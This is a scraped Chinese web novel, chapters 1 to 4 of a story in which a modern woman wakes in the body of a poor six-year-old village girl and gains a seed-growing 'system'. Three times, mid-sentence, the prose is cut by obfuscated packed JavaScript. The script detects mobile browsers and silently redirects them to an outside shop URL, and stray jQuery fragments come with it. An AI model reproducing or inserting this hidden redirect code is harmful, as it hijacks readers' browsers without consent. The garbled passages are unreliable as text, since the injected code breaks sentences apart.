《穿回古代靠种田建功立业》 1. 第1章 远山苍茫,风微凉。 入了秋,日头落得早,不过申正时刻,天色已然暗了下来。林只只背着小半篓野草径直进了村,拐到最东边的农舍前。 半人高的篱笆围成不大的院子,一览无余:正中是一排并列的堂屋,两侧对称的是住房,旁边单独的是厨房和杂物间。 没听见院子里还有什么动静,林只只放下背篓,轻轻把门推开一条缝,趁着院子里没人看见溜了进去。 把背篓放在院子角落处,她径直走向东屋。 屋里昏暗,竹编的篱笆隔成里外间,外间只有简单的一张桌子和几条缺角的凳子。 林只只趁着最后一点余光摸到里间的床边。已看不清原来颜色的被褥浆洗得发白,她娘正靠在床上,手里做着针线活。 看着眼前的“亲人”,一种奇怪的情绪充斥在胸腔中,说不清道不明,林只只有点儿不知道怎么应对。 不过手上动作比脑子更快,她快步走过去拿走罗氏手里的东西,轻声细语,“阿娘,天色不早了,再做下去要坏眼睛的。” 一个“小萝卜头”从床里面探出头来,他穿着一身单薄的衣服,上面打了些补丁。衣服有点不合身,一看就是捡的哥哥们的穿,宽大的衣服衬得男孩更加瘦弱。 这是她的弟弟——林小四,家里排行第四。 林小四一看见姐姐回来了,双眼一亮,“阿姐,你回来了!” 罗氏缓了缓眼睛,渐渐看清了眼前站着的女儿,“阿娘没事儿,你刚才去哪儿了?怎么这么晚才回来?” 林只只顿了顿,还有些不适应地回道:“我……我刚才去找东西了,好像前两天丢在村口了。” 罗氏没有再问什么,摸索着从怀里掏出半个馍馍来,“二丫头,饿了吧,来,吃点……” 农家人晚上吃得早,夜长,就一般还会给小孩子留点吃的。 林只只看着眼前脸庞清秀但透着苍白的妇人,抿了抿嘴,“阿娘,我说过,不用给我留,你现在怀着弟弟妹妹,要多吃一点才行。” “对,阿娘,你还没有怎么吃呢!”林小四挥挥小拳头,“你放心,等我长大了,给你们和弟弟买好多好吃的!” 罗氏轻柔地摸了摸林只只的头,看着小儿子豪情壮志的样子,眼里带着笑意。 可是看着明明已经要六岁的女儿和四岁的儿子却看起来瘦瘦小小的样子,心中微叹。她将馍塞给林只只,想着明天把绣的手帕卖掉也至少可以换几个钱回来,这些孩子吃太多的苦了。 “你吃,娘明天卖了绣帕,就给二丫头和小四买糖。” 买糖不过是哄小孩儿的手段,林只只心里了然,至少她到这里好长一段时间了,也没有正经吃过白米饭。 林只只看着虽然是馍馍但是黑乎乎看不出是什么做的饼,心下一叹。她把馍馍分成一大两小三块,把大的那块又塞回罗氏手里,小一点的给了林小四。 “阿娘,你也吃。” 林小四手里捏着那块粗面馍馍,忍不住咽了咽口水,但是他很懂事,“阿姐阿娘吃,小四不饿。”四岁的小孩儿还没学会撒谎,嘴上说着不要,那亮晶晶的眼神却出卖了他的心思。 林只只怜惜地摸了摸林小四的头,“乖,小四只有吃饱了才会长的快,才能给阿娘阿姐买好吃的,是不是?” “嗯……” 林只只看着林小四像只小松鼠一样一点点啃着干粮,心里越发心疼。 虽然还没有搞清现在是哪个朝代,但是古代,整体生活水平都并不高。 罗氏也接过去大半块馍,见女儿这么懂事,心里既欣慰又心疼。 “好……二丫乖” 林只只安静地依偎在罗氏身边,冷不丁听见这句“二丫乖”,猛的虎躯一震,心下默默吐槽“神它的二丫……” 这是她“穿越”到这里的第十天。 林只只在心里默默盘算着。古代晚间娱乐活动少,她现在只有靠活跃的脑活动来打发一下无聊的时间。 十天前,雨后的长兴村,透着一丝深秋的凉意。 “小傻子!” 林二丫背着背篓站在河边,被一群大孩子围着嘲笑。 “我……我不是傻子!”她有些不知所措,眼里含着泪意轻声反驳道。 有孩子跳了出来,“略略略!就骂你怎么了?小傻子小傻子小傻子!” 最后被人欺负了的林二丫泪眼朦胧的往家里走,不知怎么回事,她步伐逐渐变得沉重,精神恍惚。结果没看清路的她,摔了一跤。 片刻,失去意识的人忽然睁开了眼睛,一阵模糊和混沌后,醒来的人有些迷茫。 什么情况?她不是在实验室做实验吗?最后一幕,她好像感受到一阵心脏悸动,眼前一花再睁开眼睛就是这样了。 等她从地上坐起来,整个人都还是懵逼状态,“这是怎么回事?难道自己在做梦?”小声嘀咕着,她揉了揉眼睛。 路边还是一副乡下场景,远处的低矮草房和篱笆墙都昭示着似乎有什么不一样了。 片刻,她便怔在原地,这是一双五六岁的小手,她怎么会有如此娇小的手? 很快,林只只就盯着自己身上的麻布衣服和掉在地上的背篓。她的心底闪过一个大胆的猜测,虽不太愿意承认,但她似乎真的穿越了。 “话说回来,这是哪里?又是什么朝代?” 话音一落,她脑子里一阵刺痛,一段段画面翻江倒海地涌了上来,原先如隔雾看花的世界变得清晰起来,连知觉和反应都灵活不少。 原来,她穿越到了古代,这个村子叫长兴村,坐落在小周山下。 长兴村大多数家户都姓林,这是一个大宗族。古代讲究依姓而居,尽管后代子孙血缘关系越来越淡薄,同姓多数还是居住在一个村子。 林只只现在叫林二丫,她阿爷林长海年轻时是个读书人,曾考上童生,真真算是长兴村的体面人。 可惜原来家里穷,林阿爷也不是读书的料子。于是回村娶了隔壁以前村长的女儿,这些年光景越发不好谋生,便又做回了庄稼人。 林阿奶可是十里八方出了名的能干人,不仅手上活儿麻利,嘴皮子也是得理不饶人。为人很是泼辣,半点亏吃不得。 也算的亏了林阿奶,才能把穷人家因为读书穷困潦倒的生活过得风生水起,还拉扯大了几个孩子。 虽然林家算不上富裕,但在村里也是排在前面的几户。 林家人丁兴旺,林阿爷膝下有四个儿子,也算得上人丁兴旺了。 林只只知道的便是她还有个大伯父,她爹排名老二,底下还有两个弟弟。大伯父和大伯母现在有两个儿子一个女儿,她父亲有一个女儿一个儿子,现在媳妇儿肚子里又揣着一个。三叔有一儿一女。 至于四叔,林只只并没有印象,从大人们的只言片语中了解到。 她阿爷年轻时,也就是二十多年前,家里实在负担不起,恰逢天灾人祸,只好把刚出生不久的四叔抱给了阿爷的同窗抚养。 后来因为战乱,那家人搬走,至此以后便了无音讯。如果顺利,她四叔也应该长大成人、成家立业了罢。 林家后来也花钱托人打听过,只不过断断续续的最后不了了之。 只不过这件事一直成了林阿奶心中的一根刺,几十年来,怨天怨人祸,怨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024927|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林阿爷没有出息,怨自己没得办法养活自己的亲身骨肉。 可能“自己”年纪太小,也没有去过很多地方,林二丫的记忆并没有多少,所以林只只并没有太多的信息供她分析眼下的处境。 不知道穿越的感觉,林只只强装镇定面对眼前的情况。接收了记忆后,她有些诧异,似乎记忆中的林二丫和林只只变成了一个人,记忆交融并无不适。 现代的林只只父母在她五岁就离异并且重组了家庭,她在哪儿都是多余的。之后从小跟着外婆长大,可惜还没有享到她的福,外婆也去世了。 林只只有些发愣的看着自己的手,思绪万千。 其实她作为一个“穿越者”,如果林家人发现她是害了林二丫“间接的凶手”,会不会报仇还未知。 再说,她也不能顶着别人的身份心安理得的享受她家人的关心,如此一来就更不知道该以什么样的心态来面对原主的家人们了。 回忆着,她目光四处打量了一下这个家,觉得应该先让他们过上好日子,替原主报答养育之恩也算是她的一片心意了。 想着想着她和罗氏、林小四并排躺在床上,虽然薄薄的被子,大家挤着也挺暖和的。林只只便慢慢闭上了眼睛,进入了梦乡。 晨光微熹,乡村便处处是热闹。 农村从来没有晚睡一说。鸡鸣声,鸭子饿得嘎嘎叫,院子里已经有人影晃动,林只只半睡半醒之间发现身边已经只剩下林小四一个人了,罗氏已经起来了。 她轻轻掀开被子,下了床。 “阿姐……”林小四听着动静从被窝里伸出手来揉了揉眼睛,声音奶奶地叫道。 “嗯,阿姐在呢,时辰还早,你再睡一会儿啊”林只只将被角给林小四压好。 她出了门,院子里只有一个比她略高一点儿的身影在扫地,那是大伯家九岁的女儿——林大丫。 林只只看见林大丫回头也看到了自己,便缓缓露出来了一个笑脸,“大丫姐姐早啊!” 林大丫看着这个以往总是话很少而且呆呆傻傻的二妹最近变得活泼起来了,面对虽然很瘦,但笑起来露出一侧甜甜的小梨涡的林只只,她也忍不住怯怯露出一个笑脸。 林只只并不在意林大丫没有回应自己,毕竟大丫有点内向。入秋后的清晨还是有点凉,她开始四处张望打量,突然发现大伯母气冲冲的从一旁快步走来。 她还没觉得什么不对劲,旁边的林大丫却忍不住害怕起来了。 “阿娘……我……” “娘个屁!”钱氏身手了得,扑过来一把揪住她的耳朵,狠命一扭,劈头盖脸骂道,“你这个死丫头片子,家里那么多活看不见吗?整天吃了那么多,以为你是来打秋风的哈?你还以为自己是什么千金小姐吗?整天游手好闲的……” 林只只看见大伯母口水乱喷的架势,虽然不是对着她,也忍不住缩了缩脖子。 最西边上的屋子“哐当”一声不知是什么发出的声音——那是三叔一家的屋子。 “大早上就吵个不停,一顿不吃饿得你们是吧?”马氏骂骂咧咧地走出来蹲起簸箕就要去喂鸡鸭。 像这种架势,初来乍到的林只只并不是很适应。大伯母和三伯母之间最近总有点争执,毕竟现在罗氏怀孕了,那她的活儿就得她们两个分担,谁干的多了少了,心里计较着,多少也会不舒服。 “啪……”又是一声门响。 林只只脑门上一滴冷汗落下,战战兢兢转过身。 就见林阿奶单手叉腰,气势汹汹地从堂屋走出来,那表情像是要吃人一样:“嚎什么嚎,你老娘我还没有死呢!哪轮得到你们在家里指手画脚的。” 2. 第2章 其实林阿奶年轻的时候也是十里八村千娇百媚的一枝花。 只可惜,她那性子实在太过凶煞彪悍,喉咙又敞亮,吵架从来不会输,让人避之不及。时间一长,威名远播,颇有几分人人谈之色变的味道。 只见当下,钱氏不再揪着大丫不放,嘴唇抖了抖不再说话。 三伯母悻悻地加快脚步转到屋后去了。 俗话说,三个女人一台戏。关键是,她们家的三个女人个个战斗力不凡。于是鸡飞狗跳的一天即将在热闹登场! 林只只暗忖,果然,这世界上还是应该有一物降一物,而林阿奶就是他们家站在食物链最顶端的女人! 林阿奶没有理会大房和三房的明枪暗箭。 她开始发号施令,“老大家的去喂鸡鸭鹅,大丫帮你娘打扫干净了,把肥料堆到坑里……” 林只只看见三伯母从房后喂了鸡鸭回来,林阿奶撇了她一眼,中气十足地道:“老三家的,去洗一家子的衣服,那二媳妇搭把手……” 马氏有些不高兴,但是脸上又不敢表露出来。心里暗道,罗氏挺着个大肚子,要不了多久就快生了,哪里帮得上什么忙? 林阿奶假装没有看见马氏的小表情,继续道:“老大和家里几个小子去把东头那块地给翻了,过几天得点上白菜……剩下老三和我们去把地里的黄麻打回来……” “至于几个小的,二丫带着去捡柴吧。别跑远了,就在小周山……” 就像宣布完什么明令禁律一般,家里的人开始有条不紊行动起来。 对了,严格意义上,古代农家人是没有早餐吃的,他们一般一天只吃两顿饭。 被最后点名的林只只反应过来,所谓剩下的人,也就是六岁的她,四岁的林小四和林三丫。 而所谓的捡柴,实际上是遛娃…… 虽然说,穷人家的孩子早当家,但当林只只看着眼前这两个萝卜丁,可能还没有要捡的柴高,陷入了沉思。 这算不算压榨童工啊喂! 一刻钟后,林只只扮演起自己阿姐是角色。 “大王派我来巡山,我把人间转一转……” 长兴村外到小周山的小道上,一身短褂麻衣的林只只带着两个弟弟妹妹往山上走。 两个小孩儿并不懂姐姐在唱什么,只觉得朗朗上口,于是也开口学着姐姐唱。 “大王派我来巡山……嘿……” 林只只听着林小四和三丫的小奶音,最近有些郁闷的心情都变得好了不少。 眼下正值初秋,天高气爽,万里无云。 林只只是个随遇而安的性子,既来之则安之,此时她感觉头顶的天特别蓝,是她从未见过的蓝,空气也很清新,令人心旷神怡。 去小周山的路并不难走,因为说是山,其实也不过是高一点的林子。 而且村里的孩子时常会来里面捡柴、挖点野菜或者玩儿,所以林子的地大多都是平的。 当然,也不会遇见什么危险。 林只只是真的出来砍柴的,一方面想出来四处转转,另一方面,也是想进山找点什么赚钱的东西。 家里虽说还没穷到揭不开锅的地步,但是,作为穷过但是没有吃得这么差过的现代人,林只只也实在不太喜欢家里的吃食。 再说,不是经常有那种,什么主角进山不是挖到灵芝卖大钱,就是捡到蘑菇从此发家致富,再不济也能打只野鸡回去打打牙祭啊! 但是当林只只豪情万丈的在山口转了一圈以后,顿时傻了眼。 别说蘑菇了,就是草都被薅了个遍,现在这个年代的野菜也不会被留下来。 “啧啧”,林只只暗自咂了咂舌。看来小说什么的都是骗人的,农家人怎么可能会放过蘑菇菌子不捡,毕竟现在穷的连野菜都可以薅光了。 “阿姐……捡柴……”林三丫说话还不利索,看姐姐一直站着不动,于是急急的拉着林只只的衣角。 林只只回过神来,看见两个小孩儿仰着头看自己。她伸手捏了捏林小四的脸蛋,“嗯,你们乖,阿姐去捡柴……” 林子里逐渐有了一些其他小孩儿,一般都是大孩子带小孩子。林只只寻了一块儿干净的地方,把小四和三丫带过去安置好。 “你们两个就在这里等姐姐,我去给你们摘果子吃。” “好……吃果果”三丫乖巧地点头。 那边也是差不多大小的孩子过来玩,这里的小孩子从小就懂事听话,并不用费太多的心思。 她站起来叹了一口气,开始思考。 看来太近的地方也没有剩多少好东西了,得走远一点,说不定会有收获。 于是林只只开始朝深处走,虽然大人都教小孩不要去林子深处,但是她还是想去看看。 过了一会儿,林子里的树开始茂密起来,连草也比外面的地方多和高了。林只只发现这里不仅草很茂盛,长得足有林小四那么高,还有很多低矮的灌木。 草又深又多,怕突然转出来一条蛇,林只只撇下一根长树枝敲敲打打。 走了不到一小段距离,林只只眼尖看见前方向下的山坡处有一丛眼熟的绿色藤蔓道:“咦,这不是地果藤吗?” 地果,藤本植物,高可达四十厘米,榕果成对或簇生于匍匐茎上,常埋于土中,球形或卵球形,成熟时红褐色。 林只只稳定发挥,脑中回忆前世学的知识。 其实这种果子在农村更多被叫做野地瓜,成熟期最晚可以到九月,也许现在还有呢? 林只只一边思绪蹁飞,脚上动作也不断,开始往那片藤蔓走去。 她蹲下去,用手上的树枝翻了翻,看见草叶中几个红彤彤的果子,顿时喜开颜笑道:“果然还有……” 说罢,就扯下一片大叶子捧在手心,另一只手也不闲着去摘地果。 就在她摘满一叶子,准备起身时,大概是身体太瘦弱,头脑一阵眩晕站不住,竟然不一小心从山坡上滑了下去,跌坐在地。 只不过,幸好是屁股着地,山坡又不高,并没有受太重的伤。 林只只站起来,拍掉了身上的草碎和泥土,看着手中的地果还好没有被压碎。 “嘶……好像擦伤了。”林只只有些郁闷的看着自己的手掌,自己这是什么倒霉体质? 【程序加载进度完成,恭喜种植官250号成功开启系统,代号666很高兴为你服务……】 林只只被突然钻出来的声音吓了一大跳,差点把手里好不容易捡回来的地果又给甩出去! 她目瞪口呆地看着眼前的透明面板,忍不住咽了咽口水。 “你说哈?” 虽然忍不住方言都跑出来了,但是这熟悉的开场白,熟悉的配置。林只只都快忍不住仰天长啸三声。 【种植官250号,已绑定系统。正在加载商场、任务榜和交易所……】 冰冷的电子音在林只只听来却如同天籁。 “我没做梦吧?” 林只只掐了自己一把,真痛!不是做梦! 高兴过头,她才发现系统对她的称呼,250!? 忍不住嘴角抽血,“额……老六,打个商量,就不能换个称呼吗?” 【好的,250……是否要开启商城,接受任务?】 林只只深吸一口气,算了,看在它只是个机器人的份上就不计较了。 “是的,开启。”林只只磨掌擦拳,只想着急地看看这个系统有什么好东西? 进入主页,她首先看到的是自己的人物介绍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024928|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 姓名/别:林只只(女) 年龄:6岁 其他:未知 头像是她前世的样子。 怎么,莫名有点不靠谱啊?林只只又快速点进所谓的商城和任务榜浏览了一圈,片刻之后她终于搞清楚了一些。 “老六,为什么我的商城里面只有作物种子呢?”林只只有些绝望和无语,还以为自己这次终于咸鱼翻身,商城在手,什么都能买到。 【由于250号绑定的是种植系统,所以需要完成将这些种子种出来的任务。】 林只只捏紧拳头,咬牙切齿:“换个称呼,那么种子如何才能得到呢?” 【需要积分购买呢,亲。】 检测到林只只的怒气值一直在不断飙升,系统不等她再问,马上又接着回答。 【积分可以通过收录由商城种子种植出来的作物或者完成任务榜上的任务来获得。其他途径还需宿主自行探索呢~】 林只只总算是听明白了:“合着我给你白打工是呗?积分换种子,种子换积分!” 如果系统有脸的话,此刻一定是谄媚至极:【不是不是,系统只会收入一个样本,其他的都由宿主自行支配。】 松了一口气。 好歹自己现在算有了金手指,虽然不大,以后的生活慢慢来,只不过……这个系统的态度有点奇怪啊。 林只只摸了摸下巴,也默默注意到了。 “那好吧,那作为新人,你都不意思意思一下,送点什么新人大礼包吗?”林只只眼珠子一转,哼,这大好的机会不得榨点好处啊。 这下倒轮到系统咬牙切齿了,当然,如果它有牙齿的话。 【当然可以!宿主,你的背包里有一些系统送的种子……我们的种子都是优良产品,绝对童叟无欺…… 如果宿主赚到很多积分,给系统升级的话,还可以获得更多好处哦~】 没有感情的电子音硬是被它给说出赤裸裸的诱惑感。 林只只终于抓住了关键词,“升级?”所以系统并不是万能的?原来它还要靠自己给升级啊! 他们之间如果属于合作关系,那这样就好办了,至少不会被单方面制约。 “什么好处?”林只只压下心中想法,面上不动声色地问。 系统见这个宿主实在不好糊弄,也生怕她不愿意似的,【我可以为宿主提供扫描周围起到示警的作用,还有空间……】声音顿了顿,【现在宿主有十平方的空间,可以放任何非生命物体。】 简直行走江湖、打家劫舍、居家旅游必备神器啊! 说完系统不再出声,似乎在给林只只时间考虑。见实在压榨不出什么有用的信息,林只只只好答应它了。 “好,我接受了。” 话毕,林只只终于有时间看所谓背包里的种子,是一些白菜、生菜和萝卜。 “前两个都是在晚清才大量种植……白菜和萝卜这个时代倒是已经有了。”林只只呐呐自语,回忆自己好像暂时没有见过生菜。 看来真的不是历史上的任何一个朝代了。 不过,还好现在才八月也适合种这几种菜。家里也打算种菜了,那先偷偷趁大人不注意把家里的种子替换成系统里的吧。 意识到自己过来已经有好长时间了,再待下去,林小四他们要着急了。 林只只拿着地果开始往回走。 “老六,先帮我把白菜和萝卜种子取出来放在空间里。”这样到时候也方便操作。 快要走到那片空地了,林只只不再说话,毕竟自言自语多了还挺奇怪的。 【放心吧,宿主,只有你闭上眼睛将意识沉入才可以看见系统面板,别人看不见。】 “嗯……” 3. 第3章 远处的三丫和林小四远远看见二姐回来了,飞快地跑上前去,林小四像个小炮弹一样撞入林只只怀中,“阿姐……你回来了!” 三丫也围着她转。 林只只看见这两个小萝卜头并没有闲着,也把附近一些小枝丫捡到了一起,十分欣慰,“嗯,马上阿姐再砍一些柴,我们就回去了。” 说罢将一颗红艳艳的果子塞林小四嘴里,香香甜甜的,他眼睛大亮,“阿姐,这是什么,好好吃啊!” 林只只看他那么宝贝的样子,就把手上所有的地果给了他,“这是一种叫地果的果子……可以吃的。” 林小四接过没有马上吃,而是拿过一颗递到林只只嘴边,“阿姐好厉害,找到别人都找不到的果子,吃,甜……” 林只只看着小四干净纯粹的眼睛,心下高兴,就着他的手吃了,感觉比以往吃过的地果都要甜。 林小四又把手里的小果拿起来塞到三丫嘴里,“嗯嗯,二姐好厉害”小丫头马上点点头附和。 “带回去,给哥哥阿姐们尝尝……”林小四小心翼翼地收好。 虽然农村也有不少野果子,但是愿意分享终归是一件好事,林只只并没有表示拒绝。 心里装着事儿,林只只也没有什么兴致在林子里逗留太久,砍了点干柴,用绳子将干柴与篓子绑好,背在背上准备下山回家了。 太阳已经挂在了半空,入秋后的太阳并不灼热,反而有些暖洋洋的。袅袅的炊烟不停地从各个农家小院升起。 一路上,林只只看见不少人还在地里劳作,或是拿着锄头在翻地,或是在挑水浇昨夜新种下的菜,又或是蹲着扯草。 她会笑着甜甜地和比较熟的人打招呼,“林禾叔这么晚还不回去吃饭啊?葛婶子白菜已经种上了啊?”心里也寻思着,既然自己已经不是原来的林二丫,行为上必然会发生改变,不如潜移默化改观周围人对她的印象,免得引起怀疑被当成精怪,时下人最忌讳和相信鬼神之事了。 村里人虽然有些惊奇林二丫变得开朗多了,但是也不意外,小孩子嘛,长得快,一天一个样。 葛婶子笑,“诶,你二赖哥等会儿给我送到地里来,你们快些家去吧。” 等林只只快步赶回家里,发现院子里三伯母和她娘已经回来了。罗氏挽着袖子正在晾衣服,而三伯母在旁边的菜园子里摘菜。 林小四和三丫也蹦进院子。 林小四捧着叶子献宝似地踮着脚尖跑到罗氏身边,“阿娘,你吃,阿姐找到的,甜!” 林只只看着罗氏挺着个大肚子费力晾衣服,飞快地放好柴火把活儿接过去。 让孕妇干活,她心里还挺过意不去的。虽然是她阿娘,可是林只只现在也六岁了,在古代农村也算个不小的劳动力。 见罗氏象征性地吃了一颗果子,还笑眯眯地夸赞他们这样温馨的场面。马氏忍不住出声,“啧,都是一家的孩子,怎么二嫂家的这么懂事听话……” 听见自己阿娘的话,三丫也有模有样凑到她娘身边,扬着小脸奶声奶气的说:“阿娘,你也吃果果,甜!” 马氏也笑眯眯地说好,谁家的孩子谁心疼嘛,“快去,叫你阿奶他们回来吃饭了……”她冲两个小孩儿招招手。 林只只晾好衣服,又把家里的东西规整好。看三伯母和她娘又去了厨房忙活,当下趁着家里没人偷偷钻到柴房去了。 虽然叫柴房,除了堆放柴以外,还会放些耕具,杂物之类的东西。 林只只四处翻找,回头一瞥便看见装菜籽的小布袋。打开袋子,里面有两包油纸包好的种子,想必就是白菜和萝卜了。 她拆开一包,种子的形状是圆形扁粒,红色,那应该就是萝卜种。果然,另外一包种子是圆形球体粒,褐色的白菜种。 于是不动声色地用空间里的种子直接替换掉了。才把东西放回原位,林只只就听见院子里传来小孩子的欢呼声。 原来是林小四几个小孩子又在分地果吃,欢声笑语的惹得大人们也笑语连连。 刚走出去,便听见林二夸她的声音,“二妹真厉害,我们怎么没有发现过……” 他今年十岁了,正是好玩儿的时候,闲暇时候跟着村里的孩子上山下河,当然对村里还有他没祸祸到的地方感到惊奇。 林大忍不住敲了敲他头,“整天就知道玩!”他是家里最大的孩子,一向懂事,自觉有义务管着底下的弟弟妹妹。 林大丫忍不住抿嘴笑笑,底下的孩子看见二哥被打,也吱里哇啦挤眉弄眼的。 院子里一片鸡飞狗跳。 “快去洗手吃饭啦……”罗氏站在门口温柔地对孩子们招手。 此时窗户和门大开着,秋光灿烂的照耀进来,将半边屋子都照得透亮。 农人们的早食都是干完一波农活后吃的,一天就吃两顿。一顿就是上午的已正,一顿则是申正,吃完晚饭,收拾一下,天黑以后就可以睡觉了。 大家平时最喜欢温柔的二伯母了。听见早食做好了,一群孩子也洗洗手,纷纷在自己的位置上坐好。 林阿爷坐在堂屋上首,耷拉着眼皮,长满茧的老手捏着一根草烟“吧嗒吧嗒”地抽着。 往下依次是林大郎,林三郎和小男孩们。林阿奶与林阿爷并排坐着,下首是几个儿媳妇和孙女,刚刚好对坐。 钱氏先是给每个人打上碗粥,林阿爷阿奶和几个叔叔碗里的稠一些,然后是妇女们和几个半大小子。 毕竟大人们要干力气活。 最后分到林只只和几个弟弟妹妹们,只能看见碗里几乎半碗米半碗水的,还是粟米不是精米。 林只只看着手里的馍馍,应该是粗面和着野菜做的,心下叹了一口气。默默的用牙齿一点点啃,看着几个孩子吃的津津有味的样子,心里说不出滋味。 饭桌上,林大伯向林阿爷说的秋收后大概的收成,还有地里的活。 “阿爹,听说隔壁村的何地主家在招短工,可以拿二十文一天呢,包一顿饭呢。”林三伯说。 虽然乡下人家的粮食收完了,但是一般大地主家地多,会找一些短工帮忙。 “昨年不还是二十五文吗?”林阿爷皱眉。 “哎,这年头人工不值钱了,还是村里的人,人家才给这种条件……”没等林三伯说完,林阿奶敲了敲碗,“能赚几个是几个,下午你就和老大去试试,今年地里收成不好,家里又要多一张嘴……老二过几天也要回来了……” 林只只支着耳朵听,听到关键时刻,她阿爹要回来了。她阿爹会些木匠手艺,半个月前去县城里找活做了,现在还没有回来…… 想着想着,旁边一声响。 大丫吃完了一个觉得不够饱,伸手想拿第二个,大伯母一筷子敲在她手背上:“吃吃吃,就知道吃!你该不会是得了饿病了吧?” 大丫眼眶红着要掉眼泪。 钱氏偷偷拧着大丫,低声道:“你也不知道让你爹和弟兄们多吃点!你一个丫头。” “碰……”林阿爷将碗重重搁在桌上发出声响,钱氏发现公爹脸色不虞,明显发火了,她也不敢再说。 林阿爷放下筷子,怒气冲冲,“她一个孩子正是长身体的时候,你当娘的也不知道心疼……” 林阿奶往大丫手里又塞了半个馍。 大家屏声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024929|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静气地不敢多言。 桌上吃饭风波终于过去了,大人们还有午休的习惯,也都各自休息去了。 林只只随阿娘回到房间,躺在床上默想,这几天的相处她也算看清了家里人的性格。 爷奶还算公正,不会重男轻女。大伯憨厚,三伯精明。就是大伯母钱氏有些小气,三伯母脾气暴躁容易和她起冲突。自己阿娘则是温温柔柔的话不多。 林大哥单字一个仁,在和阿爷识字,不奢望读书考功名,以后有见识也能去县里找活干,所以他性子最是温和。二哥是林义很调皮捣蛋,小聪明。老三是林礼,人却和他爹完全相反,很是老实。大丫总是被她娘欺压,性子弱,很内向。 下面几个弟弟妹妹还小,倒是看不出什么。至于她爹,虽然还没见过呢,但是记忆里很是疼爱妻儿的。 林只只翻了个身,林小四的小肚皮已经有规律地起伏,看来是睡着了,而罗氏则在外间秀东西。 见没人关注她,林只只心念一动就进了系统。 空间地上是上午换下来的白菜萝卜种子,她将目光转向面板,商场没什么好看的了,除了系统自带的免费种子,其他板块都是黑的,她又点开了交易所。 有一点儿像前世大家发贴子的平台,林只只用手指滑动翻着,并没有发现什么有用的东西,大多数是别人分享或者发牢骚。 【宿主可以看看交易板块,回答问题和完成任务可以获得积分的……】 突然的声音吓得林只只意识直接从系统里弹出来,还在床上猛滚了一下。 “二丫,怎么了?做噩梦了吗?……”罗氏有些担忧地看过来。 “没事儿,阿娘……”林只只只能假装刚睡醒,迷迷糊糊地回答道。 表面平静,内心却翻来覆去把系统骂了个遍,“我终于知道你为什么叫老六了!吓死我,你就能继承我的财产了是吧?” 系统:…… 【首先,我不叫老六;其次,宿主现在比我还穷;最后,我也没想到,宿主这么胆小。】 林只只震惊了:“你还挺会狡辩的啊!”一个系统,人工智能竟然逻辑这么清晰! 系统又恢复一副公事公办的态度:【宿主是否还要继续您先前的行为?】 也算提醒了林只只,她现在很想搞清这个系统到底是个什么东西。继续“交易”板块,也是有人发帖的样式,只不过是问的问题或者要求提供东西的。 林只只眼角抽搐,因为她看见了一个帖子竟然在问“水开下面还是放水下面?”。 只不过这种信息通常一闪而过,因为有人回答了。可能问题简单,就值五个积分,不过下面回答区都会起几十条嘲笑的楼。 【宿主可以在这里回答问题,越是技术性的难题,获得的报酬越高;也可以完成别人的要求也能获得奖励】 听到这里,林只只反倒疑惑了。因为任务榜也是类似的,那为什么同样的功能要开发两遍? 系统察觉到了她的疑惑,解释道:“因为任务是定期的,如果宿主错过了就会更新,时间是五天,同时发布三条;而且内容符合主系统的限制。” 符合限制? “那交易所可以得到一些不一样的东西哦~”林只只特意声音拉长,她想试探一下这个系统的态度。 【不会超出位面太多……滋…滋滋……】 一阵电流后,系统规矩的声音才响起:【代号666系统发现病毒,需要自查,请宿主稍后开启。】语毕,无论林只只怎么喊,系统也没有反应了。 到现在,她大概明白了系统的功能,只是还有更多的猜测还需要时间来验证。 4. 第4章 秋季的天气说变就变,闷热的风吹来,天也阴沉沉要下雨的样子。林只只心里烦闷,像是要发生什么大事,有点不安。 “林阿叔,阿叔!不得了了啊,你家老二在县城摔断了腿,抬去医馆治现在被抬回来了……”门口一片呼天喊地。 仿佛一声惊雷炸开!周围的人和环境沸腾起来了一样。 “阿娘……”林只只本来就没有睡着,一听见院子里的声音,她就立马翻下床。 没料到罗氏听见这话,竟然动了胎气,看样子要生了,她马上朝门外喊人。林只只个子小,就算用身体去支撑,也架不住一个成年孕妇的体重啊。 “快,去村头把老周大夫请来!”混乱中,林只只不知道被谁推了一把。 等她回过神,隔壁婶子们叫接生婆来帮忙,准备接生,而自己已经和大丫跑在去找大夫的路上了。 老周大夫的家实际已经超出长兴村的范围了,在村的最西边。 林只只跑得飞快,没有注意到已经把林大丫甩在身后好大一截。她的心脏砰砰跳,脑子里顾不上想其他东西。 生产自古以来但是女子一脚踏入鬼门关,更别说现在是医疗水平底下的古代,若是早产,只怕是九死一生。 